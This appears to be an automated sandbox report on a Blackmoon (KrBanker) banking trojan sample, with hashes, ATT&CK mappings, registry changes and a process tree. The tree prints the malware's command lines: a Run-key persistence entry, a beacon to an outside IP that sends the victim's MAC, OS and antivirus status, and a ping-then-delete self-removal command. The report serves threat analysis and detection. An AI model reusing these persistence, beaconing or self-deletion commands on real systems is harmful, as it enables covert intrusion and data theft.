blackmoon | 33a238742a161d7c292f77a097a9992c912bfd547b60963df9312bd827937d46

Analysis

max time kernel
106s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
21/04/2025, 18:30

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General

Target

JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe
Size

34KB
MD5

ca5b08f9fd5693eb4126738d68d6ac68
SHA1

a81e3488ad3cbb3232cfeada9cb8f5fafcd62078
SHA256

33a238742a161d7c292f77a097a9992c912bfd547b60963df9312bd827937d46
SHA512

09e2b7941651a39fbede3fada199df5a0a12b973ec84aa3c8f0fa97de36194ac893dc8c1579ab64fb5d694f0cd3cf628e3f6109f41318c83c68a21225f66ce17
SSDEEP

768:Sxa4PfkczEClQF0QGqwq0E6Na8WFaDrTCMNR8Gx8IPE7BNKSzHctMli:bQftW0QGq/aabWrTsGx3P6Cbtr

Score

10^/10

blackmoon banker discovery persistence trojan

Malware Config

Signatures

Blackmoon family
blackmoon
Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
trojan banker blackmoon

Detect Blackmoon payload 1 IoCs

resource	yara_rule
behavioral1/memory/3824-3-0x0000000000400000-0x0000000000431200-memory.dmp	family_blackmoon

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\YouPin = "C:\\Windows\\system32\\YouPin.exe"	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\YouPin.exe	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe
File opened for modification	C:\Windows\SysWOW64\YouPin.exe	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2044	cmd.exe
5136	PING.EXE

Modifies Internet Explorer settings 1 TTPs 27 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000093a53d3a8f9e6f478baf2534b57034d400000000020000000000106600000001000020000000d65f83b23472df2506e71d0c56d027d5c00c3ec319c19f08217438106a2f4134000000000e8000000002000020000000de7afcdc1217cc1593207ea8d7d737ec24f3943d5c86fbd78bd321d45c87928a200000003588b4c8cefd17755a80e06218fe3ad11fd42f04939766dda523b8fd6fc63c8d400000001329331b00ff4f8c7e9c69d50beb93442bcbc581ce90333202f4a639c2bb550a5ec4390859b371bed8f4e0665abb9ad2a9c2a0512b83fa8b1b4733cd181e807c	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "452025224"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c004c798ebb2db01	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{BFB7C8A7-1EDE-11F0-B6D4-42A920109295} = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000093a53d3a8f9e6f478baf2534b57034d400000000020000000000106600000001000020000000523f06ec6d07dd5524af54d30aabb19fcafcf10f1816a6daab27a1fbbe139bff000000000e8000000002000020000000d6ac39df002435bd88a33ecafb8e8dc0dc201ebae7bc920e916c2281d50ea12220000000dd35dca95a1622a4762df69cfd10c17d094a62e701c2855914ec02a8910f863140000000d9a3a94df398d5cdac6a62f4793231ee93525bca9b91555d21098a686088c77a078b228718b0a502d8d975ab8b436f2bc2617e31bed63f7a0b817e32a52d3d52	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0ebd298ebb2db01	IEXPLORE.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5136	PING.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1584	IEXPLORE.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1584	IEXPLORE.EXE
1584	IEXPLORE.EXE
2024	IEXPLORE.EXE
2024	IEXPLORE.EXE
2024	IEXPLORE.EXE
2024	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3824 wrote to memory of 1584	3824	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe	87
PID 3824 wrote to memory of 1584	3824	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe	87
PID 1584 wrote to memory of 2024	1584	IEXPLORE.EXE	88
PID 1584 wrote to memory of 2024	1584	IEXPLORE.EXE	88
PID 1584 wrote to memory of 2024	1584	IEXPLORE.EXE	88
PID 3824 wrote to memory of 2044	3824	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe	90
PID 3824 wrote to memory of 2044	3824	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe	90
PID 3824 wrote to memory of 2044	3824	JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe	90
PID 2044 wrote to memory of 5136	2044	cmd.exe	93
PID 2044 wrote to memory of 5136	2044	cmd.exe	93
PID 2044 wrote to memory of 5136	2044	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe"
1⤵
- Adds Run key to start application
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3824
- C:\Program Files\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://174.139.72.117/ad/get.asp?mac=FD263A7D6E8D83F384585DDA2CAF7945&os=Windows 8&avs=unknow&ps=NO.&ver=jack
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1584 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 3&del "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_ca5b08f9fd5693eb4126738d68d6ac68.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 3
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\system32\YouPin.exe
1⤵
PID:2380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
471B

MD5
bdb6adbbf5fbeb7019e93fa040cf7b33

SHA1
0a9acc84dbd080bd78303cddd317bb08d9e33f92

SHA256
b4f324b9ae951c3ca006ddad99989d67fa8ca85003e05875c3fc877c512ca81f

SHA512
3ccb661af3171a6a1cb63bfcd6b9b5a76e02735285a42c82c2de58bd2c68fed45fe1238ef552371d46e584fb2ce500f1efd31baef6d979244b53c80f7009d740

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
412B

MD5
85268d817ab527e415ab6d839de04f78

SHA1
dee9de8afb9f14b711f11d7208d11d200f2f160b

SHA256
0db5205c97d51b725f59e1f0862519edd12622d64b1724b384b14089936ef9c6

SHA512
a73fc1408cc2d8ea5e73a8b2b4de03312a52b0b2983d96277c5211fe949937099a05583401ada33a399f1a8eb24099e19eb06704fadf4338e93c5b0fbf9f0220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ZDUDUCB4\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
memory/3824-0-0x0000000000400000-0x0000000000431200-memory.dmp

Filesize
196KB

Download
memory/3824-3-0x0000000000400000-0x0000000000431200-memory.dmp

Filesize
196KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads